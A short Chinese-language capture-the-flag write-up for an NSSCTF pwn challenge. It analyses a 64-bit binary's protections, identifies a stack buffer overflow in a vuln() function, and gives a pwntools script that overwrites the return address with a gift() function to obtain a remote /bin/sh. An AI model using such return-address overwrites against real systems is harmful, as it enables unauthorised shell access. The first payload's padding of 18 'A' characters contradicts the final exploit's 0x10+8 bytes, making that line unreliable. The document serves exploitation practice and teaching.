从nssctf下载下来附件
使用checksec查看保护机制的开启
是一个amd64的程序
开启了栈不可执行保护和部分开启堆栈随机化,got表可写
进入main函数
发现vuln的函数
进入函数
发现声明了一个buf的字符串变量,离rbp的距离是0x10
返回的时候,read函数写入,最大值是0x64
这题是一个栈溢出
我们点了点发现在gift函数里面有可以执行/bin/sh的函数
我们查看他的返回地址
0x00000000004005B6
根据这题的代码分析
写入gift的地址
函数返回的时候会自动跳转到gift函数的位置
gift的函数里面
返回了一个交互式的/bin/sh
所以我们的payload就是
payload = b"A"*18 + p64(0x00000000004005B6) //0x00000000004005B6是gift的地址
所以我们的exp就是
from pwn import * io = remote(ip,port) elf = ELF("./one") payload = cyclic(0x10+8) + p64(elf.sym["gift"]) io.sendline(payload) io.interactive()
cyclic(0x10+8) 自动生成0x10+8个字节的垃圾数据,elf.sym["gift"],寻找gift函数在./one程序里面的地址